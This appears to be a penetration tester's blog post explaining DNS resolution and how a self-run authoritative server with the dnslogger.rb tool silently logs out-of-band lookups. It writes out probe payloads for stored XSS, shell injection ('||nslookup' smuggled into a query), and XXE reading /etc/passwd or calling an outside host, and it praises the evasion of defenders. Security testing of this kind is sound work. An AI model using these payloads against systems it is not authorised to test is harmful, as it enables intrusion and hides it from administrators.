It’s no secret that I love DNS. It’s an awesome protocol. It’s easy to understand and easy to implement. It’s also easy to get dangerously wrong, but that’s a story for
last weeka few weeks ago. :)
I want to talk about interesting implication of DNS’s design decisions that benefit us, as penetration testers. It’s difficult to describe these decisions as good or bad, it’s just what we have to work with.
What I DON’T want to talk about today is DNS poisoning or spoofing, or similar vulnerabilities. While cool, it generally requires the attacker to take advantage of poorly configured or vulnerable DNS servers.
Technically, I’m also releasing a tool I wrote a couple weeks ago: dnslogger.rb that replaces an old tool I wrote a million years ago.
Recursive? Authoritative? Wut?
As always, I’ll start with some introduction to how DNS works. If you already know DNS, you can go ahead and skip to the next section.
DNS is recursive. That means that if you ask a server about a domain it doesn’t know about (that is, a domain that isn’t cached or a domain that the server isn’t the authority for), it’ll either pass it upstream to another DNS server (recursive) or tell you where to go for the answer (non-recursive). As always, we’ll focus on recursive DNS servers - they’re the fun ones!
If no interim DNS server has the entry cached, the request will eventually make it all the way to the authoritative server for the domain. For example, the authoritative server for *.skullseclabs.org is 188.8.131.52 - my server (and hopefully the server you’re reading this on :) ). That is, any request that ends with skullseclabs.org - and that isn’t cached - will eventually go to my server. See the next section for information on how to set up your own authoritative DNS server.
Let’s look at a typical setup. You’re on your home network. Your router’s ip address is probably the usual 192.168.1.1, and is plugged into a cable modem. When you connect your laptop to your network, DHCP (aka, magic) happens, and your DNS server probably gets set to 192.168.1.1 (unless you’ve manually configured it to 184.108.40.206, which you should). When your router connects to your cable modem, more DHCP (aka, more magic) happens, and its DNS server set to the ISP’s DNS server.
When you do a lookup, like “dig hello.skullseclabs.org”, your computer sends a DNS request to 192.168.1.1 saying “who is hello.skullseclabs.org”? Obviously, your router has no idea - he’s just a stupid Linksys or whatever - so he has to forward the request to the ISP’s DNS server.
The ISP’s DNS server gets the request, and it has no idea what to do with it either. It certainly doesn’t know who “hello.skullseclabs.org” is, so it’s gonna forward the request to its DNS server, whatever that happens to be. Or it might tell the router where to look for a non-recursive query. Since at this point it’s out of our hands, it doesn’t really matter.
Eventually, some DNS server along the way is going to say “hey, why don’t we just go to the source?”, and through a process that leading scientists believe is magic (there’s a lot of magic in DNS :) ), it will look up the authoritative server for skullseclabs.org, discover it’s 220.127.116.11, and send the request there.
My server will see the request, and, assuming something is listening on UDP port 53, have the opportunity to respond.
The response can be any IP address for an A (IP) or AAAA (IPv6) request; a name for a CNAME (alias) or MX (mail) request; or any ol’ text for a TXT request. It can also be NXDomain - “domain not found” - or various error messages (like “servfail”).
One of the cool things is that even if we return “domain not found”, we still see that a request happened, even if the person doing the lookup sees that it failed! We’ll see some examples of why that’s cool shortly.
How do I get an authoritative server?
The sad part is, getting an authoritative server isn’t free. You have to buy a domain, which is on the order of $10 / year, give or take.
Beyond that, it’s just a configuration thing. I don’t want to spend a ton of time talking about it here, so check out this guide, written by Irvin Zhan for instructions to do it on Namecheap.
I personally did it on Godaddy. It took some time to figure out, though, so prepare for a headache! But trust me: it’s worth it.
The set up
We’ll use skullseclabs.org - my test domain - for the remainder of this. Obviously, if you want to do this yourself, you’ll need to replace that with whatever domain you registered. We’ll also use dnslogger.rb, which you’ll get if you clone dnscat2’s repository.
Getting dnslogger.rb to work is mostly easy, but permissions can be a problem. To listen on UDP/53, it has to run as root. It also needs the “rubydns” gem installed in a place where it can be found. That can be a little annoying, so I apologize if it’s a pain. “rvmsudo” may help.
If anybody out there is familiar with how to properly package Ruby programs, I’d love to chat! I’m making this up as I go along :)
What does DNS look like?
All right, let’s mess around!
I’ll start by having no DNS server running at all on skullseclabs.org - basically, the base state. From another host, if you try to ping it, you’ll see this:
$ ping noserver.skullseclabs.org Ping request could not find host noserver.skullseclabs.org. Please check the name and try again.
Conclusion? It’s down. If you were investigating an incident and you saw that message, you’d conclude that there’s nothing there, right? Probably?
Let’s fire up dnslogger.rb:
$ sudo ruby ./dnslogger.rb dnslogger v1.0.0 is starting! Starting dnslogger DNS server on 0.0.0.0:53
Then do the same ping (with a different domain, because caching can screw you up):
$ ping yesserver.skullseclabs.org Ping request could not find host yesserver.skullseclabs.org. Please check the name and try again.
It’s the exact. Same. Response. The only difference is, on the DNS server, we see this:
$ sudo ruby ./dnslogger.rb dnslogger v1.0.0 is starting! Starting dnslogger DNS server on 0.0.0.0:53 Got a request for yesserver.skullseclabs.org [type = A], responding with NXDomain
What’s this? We saw the request! Even if the person doing the lookup thought it failed, it didn’t: WE KNOW.
That’s really cool, because it’s a really, really stealthy way to find out if somebody is looking you up. If you do a reverse DNS lookup for 18.104.22.168, you’ll see:
$ dig -x 22.214.171.124 [...] ;; ANSWER SECTION: 126.96.36.199.in-addr.arpa. 3567 IN PTR test.skullseclabs.org.
And if you look up the forward record:
$ dig test.skullseclabs.org [...] ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 57980 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
NXDOMAIN = “no such domain”. Totally stealth!
Why is it so awesome?
Let’s say you’re testing for cross-site scripting on a site. Post <img src=”pagenamegoeshere.skullseclabs.org” /> everywhere. If you later see a request like “adminpage.skullseclabs.org” come in, then guess what? You found some stored XSS on their admin page!
|Let’s say you’re looking for shell injection. Normally, you do something like “vulnerablesite.com/query?q=myquery||ping -c5 localhost”. If it takes 5 seconds, it’s probably vulnerable to
||nslookup pagename.skullseclabs.org”. If you see the query, it’s definitely vulnerable. If you don’t, it’s almost certainly not.|
Let’s say you’re looking for XXE. Normally, you’d stick something like “<!ENTITY xxe SYSTEM “file:///etc/passwd” >]><foo>&xxe;</foo>” into the XML. That works great - IF it returns the data. If it doesn’t, you see nothing, and it probably failed. Probably. But if you change the “file:///” URL to “http://somethingunique.skullseclabs.org”, you’ll see the request in your DNS logs, and you can confirm it’s vulnerable!
Let’s say you’re wondering if a system is executing a binary you’re sending across the network. Create a binary that attempts to connect to binaryname.skullseclabs.org. You’ll instantly know if anybody attempted to run it, and in their logs they’ll see nothing more than a failed DNS lookup. As far as they know, nothing happened!
The coolest thing is, if you’re responding with NXDomain, then as far as the client or IDS/IPS/Wireshark/etc. knows, the domain doesn’t exist and the connection doesn’t happen. Nothing even attempts to connect - it doesn’t even send a SYN. How could it? It just looks at the domain and “NOPES” right outta there.
If some poor server admin has to figure out what’s happening, what’s s/he going to see? A request to a domain which, if they ping, doesn’t exist. At that point, they give up and declare it a false positive. What else can they do, really?
There are so many applications. Looking for SQL injection? Use a command that does a DNS lookup (I don’t know enough about SQL to do this). Looking for a RFI vuln? Try to include a file from your domain. Wondering if a company will try emailing you without risking getting an email (I’m sure I can come up with a scenario)? Give them “email@example.com” as your email address. If I try to email that from gmail, it fails pretty much instantly:
Delivery to the following recipient failed permanently: firstname.lastname@example.org Technical details of permanent failure: DNS Error: Address resolution of fakeemail.skullseclabs.org. failed: Domain name not found
But I still see that they tried:
$ sudo ruby ./dnslogger.rb dnslogger v1.0.0 is starting! Starting dnslogger DNS server on 0.0.0.0:53 Got a request for fakeemail.skullseclabs.org [type = MX], responding with NXDomain Got a request for fakeemail.skullseclabs.org [type = MX], responding with NXDomain Got a request for fakeemail.skullseclabs.org [type = AAAA], responding with NXDomain Got a request for fakeemail.skullseclabs.org [type = A], responding with NXDomain
I see the attempt, but neither gmail nor the original sender can tell that apart from a misspelled domain - because it’s identical in every way!
(I’m mildly curious why it does a AAAA/A lookup - maybe somebody can look into that)
dnslogger.rb can return more than just NXDomain - it can return actual domains! If you start dnslogger.rb with a –A argument:
$ sudo ruby ./dnslogger.rb –A “188.8.131.52”
Then it’ll return that ip address for every A request for any domain:
$ ping arecord.skullseclabs.org Pinging arecord.skullseclabs.org [184.108.40.206] with 32 bytes of data: Reply from 220.127.116.11: bytes=32 time=85ms TTL=44 Reply from 18.104.22.168: bytes=32 time=80ms TTL=44 Reply from 22.214.171.124: bytes=32 time=73ms TTL=44 Reply from 126.96.36.199: bytes=32 time=90ms TTL=44 Ping statistics for 188.8.131.52: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 73ms, Maximum = 90ms, Average = 82ms
If you do a lookup directly to the server, you can use any domain:
$ dig @184.108.40.206 google.com [...] ;; ANSWER SECTION: google.com. 86400 IN A 220.127.116.11
In the past, I’ve found a DNS server that always returns the same thing to be useful for analyzing malware (also database software, which can often be considered the same thing). In particular, setting a system’s DNS server to the IP of a dnslogger.rb instance, then returning 127.0.0.1 for all A records and ::1 for all AAAA records, can be a great way to analyze malware without letting it connect outbound to any domains (it will, of course, be able to connect outbound if it uses an ip address instead of a domain name):
$ sudo ruby ./dnslogger.rb --A "127.0.0.1" --AAAA "::1"
What else can you do?
Well, I mean, if you have an authoritative DNS server, you can have a command-and-control channel over DNS. I’m not going to dwell on that, but I’ve written about it in the past :).
The entire point of this post is that: it’s possible to tell if somebody is trying to connect to you (either as a TCP connection, sending an email, pinging you, etc) without them knowing that you know.
And the coolest part of all this? It’s totally invisible. As far as anybody can tell, the connection fails and that’s all they know.
Isn’t DNS awesome?
Join the conversation on this Mastodon post (replies will appear below)!